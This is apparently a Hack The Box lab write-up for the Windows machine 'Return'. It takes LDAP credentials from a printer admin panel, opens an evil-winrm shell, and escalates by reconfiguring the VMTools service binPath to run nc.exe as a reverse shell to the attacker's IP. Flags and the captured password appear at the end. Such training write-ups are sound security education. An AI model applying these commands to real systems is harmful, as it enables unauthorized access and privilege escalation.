# Return by k0rriban

# htbexplorer report

Name	IP Address	Operating System	Points	Rating	User Owns	Root Owns	Retired	Release Date	Retired Date	Free Lab	ID
Return	10.10.11.108	Windows	20	4.6	1998	1791	Yes	2021- 09-27	2021- 09-20	No	401

# Summary

- 1. Scan ports -> 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,4967 4,49675,49679,49682,49694,54673
- 2. Fuzz port 80 -> /settings.php
- 3. Redirect settings.php update to your machine -> svc-printer:1edFg43012!!
- 4. Try creds on winrm -> user shell with evil-winrm
- 5. List user privileges and groups -> Server Operators can start and stop services
- 6. Modify VMTools's binPath to nc.exe path in the machine -> Reverse shell
- 7. Stop VMTools service and start it again -> Administrator shell

### Enumeration

05

TTL	0S		
+- 64	Linux		
. 120	Windows		

As we can see in the code snippet below, the operating system is Windows.

```
> ping -c 1 10.10.11.108
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=105 ms
```

### Nmap port scan

First of all, we need to scan the victim to see what ports are open. As this is a consented operation, we will use the nmap tool with non-anonymous settings.

```
> sudo nmap -p- -sS -min-rate 5000 -Pn -n 10.10.11.160 -oG Enum/nmap.out -v
```

From the report, we can obtain the open ports:

There are lots of ports, but those over 10000 are probably not useful. Next step is to enumerate the services running on each port:

```
> nmap -sC -sV -
p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49
674,49675,49679,49682,49694,54673 10.10.11.108 -oN targeted
> cat Enum/targeted
        File: Enum/targeted
        Size: 2.5 KB
        # Nmap 7.92 scan initiated Wed Jun 1 10:21:13 2022 as: nmap -sC -sV -p53,
  1
        80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49
        666,49667,49671,49674,49675,49679,49682,49694,54673 -oN targeted 10.10.11.
        108
  2
        Nmap scan report for 10.10.11.108
  3
        Host is up (0.22s latency).
  4
  5
        P0RT
                 STATE SERVICE
                                     VERSION
  6
        53/tcp
                 open domain?
  7
        80/tcp
                 open http
                                     Microsoft IIS httpd 10.0
  8
        |_http-server-header: Microsoft-IIS/10.0
  9
        | http-methods:
       |_ Potentially risky methods: TRACE
 10
       |_http-title: HTB Printer Admin Panel
 11
        88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 202
 12
        2-06-01 08:39:57Z)
                                Microsoft Windows RPC
        135/tcp open msrpc
 13
        139/tcp open netbios-ssn Microsoft Windows netbios-ssn
 14
 15
        389/tcp open ldap
                                    Microsoft Windows Active Directory LDAP (Dom
        ain: return.local0., Site: Default-First-Site-Name)
 16
        445/tcp open microsoft-ds?
 17
        464/tcp open kpasswd5?
 18
        593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
        636/tcp open tcpwrapped
 19
        3268/tcp open ldap
                               Microsoft Windows Active Directory LDAP (Dom
 20
        ain: return.local0., Site: Default-First-Site-Name)
 21
       3269/tcp open tcpwrapped
       | 5985/tcp open http
                                     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
 22
 23
        |_http-server-header: Microsoft-HTTPAPI/2.0
 24
       | |_http-title: Not Found
 25
      9389/tcp open mc-nmf
                                   .NET Message Framing
```

#### Final nmap report

Port	Service	Version	Extra
53	domain?	-	-
80	http	Microsoft IIS httpd 10.0	-
88	kerberos- sec	Microsoft Windows Kerberos	(server time: 202 2-06-01 08:39:57Z)
135	msrpc	Microsoft Windows RPC	-
139	netbios- ssn	Microsoft Windows netbios-ssn	-

Port	Service Version		Extra		
389	ldap	Microsoft Windows Active Directory LDAP	(Domain: return.local0., Site: Default-First- Site-Name)		
445	microsoft- ds?	-	Possible SMB		
464	kpasswd5?	-	-		
593	ncacn_http	Microsoft Windows RPC over HTTP 1.0	-		
636	tcpwrapped	-	-		
3268	ldap	Microsoft Windows Active Directory LDAP	(Domain: return.local0., Site: Default-First- Site-Name)		
3269	tcpwrapped	-	-		
5985	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)	<del>-</del>		
9389	mc-nmf	.NET Message Framing	-		

#### SMB Enumeration

First, let's try to enumerate SMB services with crackmapexec:

From where we obtain the name PRINTER over a x64 Windows 10. As SMB service is up, let's try anoymous connection:

We succesfully obtained anonymous connection, but file listing returned nothing, so the directory is empty for anonymous user.

#### HTTP enumeration

In this section we will enumerat the services using the HTTP protocol.

Now, we must enumerate these services looking for any hidden creds or other interesting information.

#### Port 80

#### Whatweb

```
> whatweb 10.10.11.108
http://10.10.11.108 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0],
IP[10.10.11.108], Microsoft-IIS[10.0], PHP[7.4.13], Script, Title[HTB Printer Admin Panel], X-
Powered-By[PHP/7.4.13]
```

With wappalyzer, we can obtain the following information:

Technology	Version	Detail
HTTPServer	Microsoft-IIS/10.0	-
PHP	7.4.13	_
0S	Windows Server	

#### wfuzz

With wfuzz we can bruteforce the pages we have access to as well as subdomains. Since we don't know the domain name of the macine, we can't fuzz subdomains.

Opening http://10.10.11.108 int a url, it redirects us to /index.php meaning we should fuzz the .php pages accessible:

We discovered the page /settings.php which contains the following information:



### Settings


Server Address	printer.return.local
Server Port	389
Username	svc-printer
Password	*****
Update	

From where we see a password field we could read if we change the type attribute from password to text. The password field has this structure:


```
<input type="text" value="******">
```

This means the password is actually a text field with \*\*\*\*\*\*\* as value. We can't obtain any password. Anyway, we can see a username svc-printer and a server port 389. Also, notice we are at an update form, targeted at printer.return.local, and this field is editable, so we can try to change the server field to our IP Address and listen with netcat:

• Web Browser:



## Settings



• Terminal:

As we can see, it returned the credentials svc-printer:1edFg43012!!. Let's try these credendtials on SMB service:

The credentials are valid for the domain return.local, so we can try to connect to the printer's SMB:

```
> smbclient -L \\\\10.10.11.108\\ -U='svc-printer'%'1edFg43012!!'
Can\'t load /etc/samba/smb.conf - run testparm to debug it
    Sharename
                   Type
                             Comment
    ADMIN$
                   Disk
                             Remote Admin
                    Disk
                             Default share
                             Remote IPC
    IPC$
                    IPC
    NETLOGON
                   Disk
                             Logon server share
    SYSV0L
                   Disk
                             Logon server share
SMB1 disabled -- no workgroup available
```

We listed the shared folders, and after trying to list them, we discover we don't have access to anyone.

#### evil winrm

As we are attacking a windows machine and we have credentials, we can test its vulnerability on winrm with crackmapexec:

As we obtained the result Pwn3d! for WINRM, this means it is vulnerable to evil winrm:

```
> evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
```

We obtained a user shell on the machine as svc-printer.

# Privilege escalation

Now, we can upload winpeas.exe to the machine to enumerate all the privesc vulns it has. We enumerated previously the machine as Windows 10 x64, so we need to upload as:

```
*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /home/r3van/HTB/Tools/winPEASx64_ofs.exe
.
Info: Uploading /home/r3van/HTB/Tools/winPEASx64_ofs.exe to .
Data: 2397524 bytes of 2397524 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc-printer\Documents> ./winPEASx64_ofs.exe
```

From the output of the program we can see:

Computer name: PRINTERUsername: svc-printerSystemDrive: C:\

• TMP folder: C:\Users\SVC-PR~1\AppData\Local\Temp

Firewall status: DisabledAV status: Not installedLAPS status: DisabledCredential Guard: disabled

• Token privileges:

• SeMachineAccountPrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

• SeLoadDriverPrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

• SeSystemtimePrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

SeBackupPrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

• SeRestorePrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

• SeShutdownPrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

• SeChangeNotifyPrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

• SeRemoteShutdownPrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

• SeIncreaseWorkingSetPrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

SeTimeZonePrivilege: SE\_PRIVILEGE\_ENABLED\_BY\_DEFAULT, SE\_PRIVILEGE\_ENABLED

Apart from the output of winPEAS, we can try to enumerate the user information and groups:

The group Server Operators is quite interesting. Researching about its capabilities we discover the ability to start and stop services. Listing the services:

```
*Evil-WinRM* PS C:\Users\svc-printer\Documents> services

Path
Privileges Service
----
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe
True ADWS
```

```
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-
E35320B35716}\MpKslDrv.sys
                               True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe
True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe
True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
False Sense
C:\Windows\servicing\TrustedInstaller.exe
False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"
True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe"
False WMPNetworkSvc
```

As svc-printer we are able to stop any of these services, but we can also try to create a new service:

```
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe create test binPath="wmpnetwk.exe" [SC] OpenSCManager FAILED 5:

Access is denied.
```

Access denied, so we cannot create new processes, but we can try to modfiy the binPath of any running service:

```
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VMTools binPath="C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
[SC] ChangeServiceConfig SUCCESS
```

Acesss granted for changing, now we need to establish a reverse shell into that binPath. To do so, we need to upload a nc.exe binary to the machine, can obtain it from seclists package:

```
> locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
> cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe ~/HTB/Tools/
```

```
*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /home/r3van/HTB/Tools/nc.exe .
Info: Uploading /home/r3van/HTB/Tools/nc.exe to .

Data: 37544 bytes of 37544 bytes copied
Info: Upload successful!
```

And now we have the binary nc.exe located at C:\Users\svc-printer\Documents\nc.exe and we can try to assign it to binPath:

```
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\nc.exe 10.10.16.5 3333 -e cmd"
```

And if we listen on port 3333, we can establish a reverse shell:

```
> nc -nlvp 3333
Connection from 10.10.11.108:57167
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
whoami
nt authority\system
```

We obtained a root shell (Administrator).

### **CVE**

No CVEs were used in this machine.

# Machine flag

	Type	Flag	Blood	Date
	User	b870f48a1d2afb796af51c64c9a26969	No	01-06-2022
,	Root	5184c7326d77b4a81638b45c40b65e29	No	01-06-2022

### References

 https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/activedirectory-security-groups#bkmk-serveroperators